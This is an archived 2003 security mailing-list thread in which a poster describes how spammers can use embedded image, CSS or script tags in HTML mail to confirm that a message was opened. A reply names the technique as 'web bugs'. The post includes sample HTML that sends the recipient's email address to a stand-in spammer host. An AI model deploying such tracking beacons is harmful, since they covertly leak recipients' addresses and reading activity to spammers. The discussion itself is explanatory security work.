This technique is very common and has been use since the mid-90s.
Here's a bit more information about the use of "Web bugs" in email:
http://www.privacyfoundation.org/resources/webbug.asp
Richard
-----Original Message-----
From: Calderon, Juan C (CORP, DDEMESIS)
[mailto:Juan.Calderon@ddemesis.ge.com]
Sent: Tuesday, April 22, 2003 12:06 PM
To: webappsec@securityfocus.com
Subject: spam technique name?
Hello all
Recently I was thinking about a technique that could be used by
spammers, I don't know a common name or something for such a technique,
so if you know it please let me know.
PROBLEM
How can a spammer know if the victim opened the mail?, one is
the well known "Remove Me" link which, in fact, will confirm user read
the message (and probably will be bombed with many more, now that he
said "hey!, I'm here"). However, it requires user interaction.
SOLUTION
A simple "solution" can be to insert a Image, Link (for CSS for
example) or Script tag in the HTML mail, all those elements indicate Web
browsers to send a GET request using the SRC or HREF attribute, without
user interaction.
Sample Code (Mail sent to ficticious peter@foomail.com)
<HTML>
<BODY>
Dear Peter
Buy our brand new product, CHEAP, CHEAP, CHEAP....
![]()
src='http://www.spamer.com/AutoRecordAddress.php?email=peter%40foomail%2
Ecom'><br>
Click <a href='http://www.spamer.com/ConfirmVictim.php'>Here</a>
to be removed<br>
NOTE:the presence of this link indicates this is not spamming
even if you don't ask for this email
</BODY>
</HTML>
Viewing (or "previewing" in Outlook or similar) this email will
automatically send a request for a "image" file served by a Server-side
script, first recording the data without explicit authorization.
I've tested this (using 3 different tags) using Exchange and some others
public accounts. I have succeed in all cases.
So have you seen something similar? do you think this is a kind of XSS?
I do.
cheers :)
Juan C Calderon
IT Security
Received on Tue Apr 22 13:56:53 2003
This archive was generated by hypermail 2.1.8
: Wed Aug 23 2006 - 14:07:50 EDT
|